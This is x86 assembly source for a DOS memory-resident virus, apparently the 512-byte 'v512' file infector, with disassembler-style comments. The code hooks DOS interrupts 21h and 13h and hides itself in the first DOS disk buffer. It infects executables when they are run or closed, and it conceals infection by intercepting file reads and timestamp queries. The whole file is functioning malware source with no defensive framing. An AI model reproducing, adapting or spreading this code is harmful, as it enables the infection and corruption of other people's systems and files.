2022-08-21 09:07:57 +00:00
|
|
|
|
name a
|
|
|
|
|
code1 segment byte
|
|
|
|
|
assume cs:code1,ds:code1
|
|
|
|
|
org 0004h
|
|
|
|
|
D4 = $
|
|
|
|
|
org 0050h
|
|
|
|
|
N50 = $
|
|
|
|
|
org 0100h
|
|
|
|
|
BegAddr = $
|
|
|
|
|
Begin:
|
|
|
|
|
mov si,04h
|
|
|
|
|
mov ds,si
|
|
|
|
|
lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx
|
|
|
|
|
mov ah,013h
|
|
|
|
|
int 02fh ; return orig addr of int 13 into ds:dx
|
|
|
|
|
push ds
|
|
|
|
|
push dx
|
|
|
|
|
int 02fh
|
|
|
|
|
pop ax
|
|
|
|
|
mov di,offset BegAddr-8
|
|
|
|
|
stosw ; store orig int13 addr offset
|
|
|
|
|
pop ax
|
|
|
|
|
stosw ; and segment
|
|
|
|
|
mov ds,si
|
|
|
|
|
lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax
|
|
|
|
|
cmp ax,0117h
|
|
|
|
|
stosw ; store int21 addr offset
|
|
|
|
|
mov ax,ds
|
|
|
|
|
stosw ; and segment
|
|
|
|
|
push es ; really this is prog_begin segment
|
|
|
|
|
push di ; and offset (0100 for .COM)
|
|
|
|
|
jne N130
|
|
|
|
|
shl si,1
|
|
|
|
|
mov cx,01ffh
|
|
|
|
|
rep cmpsb
|
|
|
|
|
je N177
|
|
|
|
|
N130:
|
|
|
|
|
mov ah,052h ; DOS Fn - Get LIST of LISTS
|
|
|
|
|
int 021h
|
|
|
|
|
push es ; return: es:bx - pointer to DOS list of lists
|
|
|
|
|
mov si,0f8h ; here was stored addres of int13
|
|
|
|
|
les di,es:[bx+12h] ; pointer to first disk buffer
|
|
|
|
|
mov dx,es:[di+02] ; pointer to next disk buffer
|
|
|
|
|
mov cx,207h ; VirLen + 8
|
|
|
|
|
rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into
|
|
|
|
|
; first disk buffer
|
|
|
|
|
mov ds,cx ; ds=0
|
|
|
|
|
mov di,016h
|
|
|
|
|
mov word ptr [di+06eh],0117h ; set int21 to this offset
|
|
|
|
|
mov word ptr [di+070h],es ; and segment
|
|
|
|
|
pop ds ; restore pointer to DOS list of lists into ds:bx
|
|
|
|
|
mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first
|
|
|
|
|
; => hide 1-st disk buffer
|
|
|
|
|
mov dx,cs
|
|
|
|
|
mov ds,dx
|
|
|
|
|
mov bx,word ptr [di-014h] ; get top of available system
|
|
|
|
|
; memory in paragraphs
|
|
|
|
|
dec bh ; and decement it
|
|
|
|
|
mov es,bx ; es=last memory segment
|
|
|
|
|
cmp dx,word ptr [di] ; dx=Parents ID ?
|
|
|
|
|
mov ds,word ptr [di] ; ds=PID
|
|
|
|
|
mov dx,word ptr [di] ; dx=Parents PID !!!
|
|
|
|
|
dec dx
|
|
|
|
|
mov ds,dx ; ds=P PID-1 !!!
|
|
|
|
|
mov si,cx ; si=0
|
|
|
|
|
mov dx,di
|
|
|
|
|
mov cl,028h
|
|
|
|
|
rep movsw ; P PID-1:0 -> MemTop-1:16
|
|
|
|
|
mov ds,bx ; ds=MemTop-1
|
|
|
|
|
jb N186 ; ?????
|
|
|
|
|
N177:
|
|
|
|
|
mov si,cx ; si=0
|
|
|
|
|
mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment
|
|
|
|
|
N17d:
|
|
|
|
|
lodsw
|
|
|
|
|
dec si
|
|
|
|
|
or ax,ax
|
|
|
|
|
jne N17d ; find filespec of THIS file !!!
|
|
|
|
|
lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!)
|
|
|
|
|
N186:
|
|
|
|
|
mov ax,03d00h ; Open a File
|
|
|
|
|
int 021h ; AL Open mode
|
|
|
|
|
; DS:DX Pointer to filename (ASCIIZ string)
|
|
|
|
|
xchg ax,bx
|
|
|
|
|
pop dx
|
|
|
|
|
push dx
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
push ds
|
|
|
|
|
pop es
|
|
|
|
|
mov cl,02h
|
|
|
|
|
mov ah,03fh
|
|
|
|
|
int 021h ; Read from File or Device, Using a Handle
|
|
|
|
|
; BX File handle
|
|
|
|
|
; CX Number of bytes to read
|
|
|
|
|
; DS:DX Address of buffer
|
|
|
|
|
mov dl,cl
|
|
|
|
|
xchg cl,ch
|
|
|
|
|
mov al,byte ptr ds:BegAddr
|
|
|
|
|
cmp al,byte ptr ds:D2ff
|
|
|
|
|
jne N1a7
|
|
|
|
|
mov ah,03fh
|
|
|
|
|
N1a7:
|
|
|
|
|
jmp N50
|
|
|
|
|
GetFileTblNum:
|
|
|
|
|
push bx
|
|
|
|
|
mov ax,01220h ; get system file table number
|
|
|
|
|
int 02fh ; bx = file handle
|
|
|
|
|
mov bl,byte ptr es:[di] ; = system file table entry number for
|
|
|
|
|
; file handle
|
|
|
|
|
mov ax,01216h ; get address of system fcb
|
|
|
|
|
int 02fh ; bx = system file table number
|
|
|
|
|
; return: ES:DI - system file table entry
|
|
|
|
|
pop bx
|
|
|
|
|
lea di,word ptr [di+015h]
|
|
|
|
|
mov bp,0200h
|
|
|
|
|
ret
|
|
|
|
|
N1c0:
|
|
|
|
|
mov ah,03fh
|
|
|
|
|
N1c2:
|
|
|
|
|
pushf
|
|
|
|
|
push cs
|
|
|
|
|
call N248
|
|
|
|
|
ret
|
|
|
|
|
DOS_ReadFromFile:
|
|
|
|
|
call GetFileTblNum
|
|
|
|
|
mov si,word ptr es:[di]
|
|
|
|
|
call N1c0
|
|
|
|
|
jb N1f7
|
|
|
|
|
cmp si,bp
|
|
|
|
|
jnb N1f7
|
|
|
|
|
push ax
|
|
|
|
|
mov al,byte ptr es:[di-08h]
|
|
|
|
|
not al
|
|
|
|
|
and al,01fh
|
|
|
|
|
jne N1f6
|
|
|
|
|
add si,word ptr es:[di-04h]
|
|
|
|
|
xchg si,word ptr es:[di]
|
|
|
|
|
add word ptr es:[di-04h],bp
|
|
|
|
|
call N1c0
|
|
|
|
|
sub word ptr es:[di-04h],bp
|
|
|
|
|
xchg ax,si
|
|
|
|
|
stosw
|
|
|
|
|
N1f6:
|
|
|
|
|
pop ax
|
|
|
|
|
N1f7:
|
|
|
|
|
pop es
|
|
|
|
|
pop si
|
|
|
|
|
pop di
|
|
|
|
|
pop bp
|
|
|
|
|
boza proc far
|
|
|
|
|
ret 2
|
|
|
|
|
boza endp
|
|
|
|
|
|
|
|
|
|
DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file
|
|
|
|
|
call N1c2
|
|
|
|
|
D200 = $-1
|
|
|
|
|
lahf
|
|
|
|
|
mov al,cl
|
|
|
|
|
and al,01fh
|
|
|
|
|
cmp al,01fh
|
|
|
|
|
D207 = $-1
|
|
|
|
|
jne N20c
|
|
|
|
|
xor cl,al
|
|
|
|
|
N20c:
|
|
|
|
|
sahf
|
|
|
|
|
jmp N1f6
|
|
|
|
|
Int21Entry:
|
|
|
|
|
push bp
|
|
|
|
|
push di
|
|
|
|
|
push si
|
|
|
|
|
push es
|
|
|
|
|
cld
|
|
|
|
|
mov bp,sp
|
|
|
|
|
mov es,word ptr [bp+0ah]
|
|
|
|
|
mov di,0117h
|
|
|
|
|
mov si,di
|
|
|
|
|
cmps word ptr cs:[si],word ptr es:[di]
|
|
|
|
|
je N244
|
|
|
|
|
cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle
|
|
|
|
|
je DOS_ReadFromFile
|
|
|
|
|
push ax
|
|
|
|
|
cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date
|
|
|
|
|
je DOS_QueryFileTimeDate
|
|
|
|
|
cmp ah,03eh ; DOS Fn 3eH: Close a File Handle
|
|
|
|
|
pushf
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push ds
|
|
|
|
|
je DOS_CloseFileHandle
|
|
|
|
|
cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC
|
|
|
|
|
je DOS_EXEC
|
|
|
|
|
INT21end:
|
|
|
|
|
pop ds
|
|
|
|
|
pop dx
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
popf
|
|
|
|
|
je N1f6
|
|
|
|
|
pop ax
|
|
|
|
|
N244:
|
|
|
|
|
pop es
|
|
|
|
|
pop si
|
|
|
|
|
pop di
|
|
|
|
|
pop bp
|
|
|
|
|
N248:
|
|
|
|
|
jmp dword ptr cs:D4 ; ?????
|
|
|
|
|
DOS_EXEC:
|
|
|
|
|
mov ah,03dh ; DS:DX : address of an ASCIIZ string of a
|
|
|
|
|
int 021h ; filespec
|
|
|
|
|
; AL : Open Mode
|
|
|
|
|
xchg ax,bx
|
|
|
|
|
DOS_CloseFileHandle: ; BX : file handle
|
|
|
|
|
call GetFileTblNum
|
|
|
|
|
jb INT21end ; exit on error
|
|
|
|
|
xor cx,cx
|
|
|
|
|
xchg cx,bp
|
|
|
|
|
mov ds,bp
|
|
|
|
|
mov si,04ch
|
|
|
|
|
lodsw
|
|
|
|
|
push ax
|
|
|
|
|
lodsw
|
|
|
|
|
push ax
|
|
|
|
|
mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector
|
|
|
|
|
push ax
|
|
|
|
|
push word ptr [si+040h]
|
|
|
|
|
push word ptr [si+042h]
|
|
|
|
|
push cs
|
|
|
|
|
pop ds ; AL : interrupt number 24h
|
|
|
|
|
; INT 24H: Critical Error Handler
|
|
|
|
|
mov dx,067h ; DS:DX : interrupt vector - address
|
|
|
|
|
int 021h ; of code to handle an interrupt
|
|
|
|
|
lds dx,dword ptr [si-050h]
|
|
|
|
|
mov al,013h ; AL : interrupt number 13h
|
|
|
|
|
int 021h ; INT 13H: Disk I/O
|
|
|
|
|
push es
|
|
|
|
|
pop ds
|
|
|
|
|
mov word ptr [di],bp
|
|
|
|
|
mov byte ptr [di-013h],ch
|
|
|
|
|
cmp word ptr [di+014h],04d4fh
|
|
|
|
|
jne N2be
|
|
|
|
|
mov dx,word ptr [di-04h]
|
|
|
|
|
add dh,ch
|
|
|
|
|
cmp dh,04h
|
|
|
|
|
jb N2be
|
|
|
|
|
test byte ptr [di-011h],04h
|
|
|
|
|
jne N2be
|
|
|
|
|
lds si,dword ptr [di-0eh]
|
|
|
|
|
cmp byte ptr [si+04h],ch
|
|
|
|
|
jbe N2aa
|
|
|
|
|
dec dx
|
|
|
|
|
shr dh,1
|
|
|
|
|
and dh,byte ptr [si+04h]
|
|
|
|
|
je N2be
|
|
|
|
|
N2aa:
|
|
|
|
|
mov ds,bp
|
|
|
|
|
mov dx,cx
|
|
|
|
|
call N1c0
|
|
|
|
|
mov si,dx
|
|
|
|
|
dec cx
|
|
|
|
|
N2b4:
|
|
|
|
|
lodsb
|
|
|
|
|
cmp al,byte ptr cs:Dfe07[si]
|
|
|
|
|
Dfe07=0fe07h
|
|
|
|
|
jne N2d1
|
|
|
|
|
loop N2b4
|
|
|
|
|
N2be:
|
|
|
|
|
mov ah,03eh
|
|
|
|
|
call N1c2
|
|
|
|
|
pop ds
|
|
|
|
|
pop dx
|
|
|
|
|
pop ax
|
|
|
|
|
int 021h
|
|
|
|
|
N2c8:
|
|
|
|
|
pop ds
|
|
|
|
|
pop dx
|
|
|
|
|
mov al,013h
|
|
|
|
|
int 021h
|
|
|
|
|
N2ce:
|
|
|
|
|
jmp INT21end
|
|
|
|
|
N2d1:
|
|
|
|
|
mov cx,dx
|
|
|
|
|
mov si,word ptr es:[di-04h]
|
|
|
|
|
mov word ptr es:[di],si
|
|
|
|
|
mov ah,040h
|
|
|
|
|
int 021h
|
|
|
|
|
N2de:
|
|
|
|
|
mov al,byte ptr ds:D200
|
|
|
|
|
push es
|
|
|
|
|
pop ds
|
|
|
|
|
mov word ptr [di-04h],si
|
|
|
|
|
mov word ptr [di],bp
|
|
|
|
|
or byte ptr [di-08h],01fh
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
mov byte ptr ds:D207,al
|
|
|
|
|
mov dx,08h
|
|
|
|
|
mov ah,040h
|
|
|
|
|
int 021h
|
|
|
|
|
N2f8:
|
|
|
|
|
or byte ptr es:[di-0fh],040h
|
|
|
|
|
jmp N2be
|
|
|
|
|
D2ff = $
|
|
|
|
|
N2ff:
|
|
|
|
|
db 0e9h
|
|
|
|
|
|
|
|
|
|
org 336h
|
|
|
|
|
N336 proc near
|
|
|
|
|
N336 endp
|
|
|
|
|
code1 ends
|
|
|
|
|
end begin
|
2021-01-13 00:04:54 +00:00
|
|
|
|
|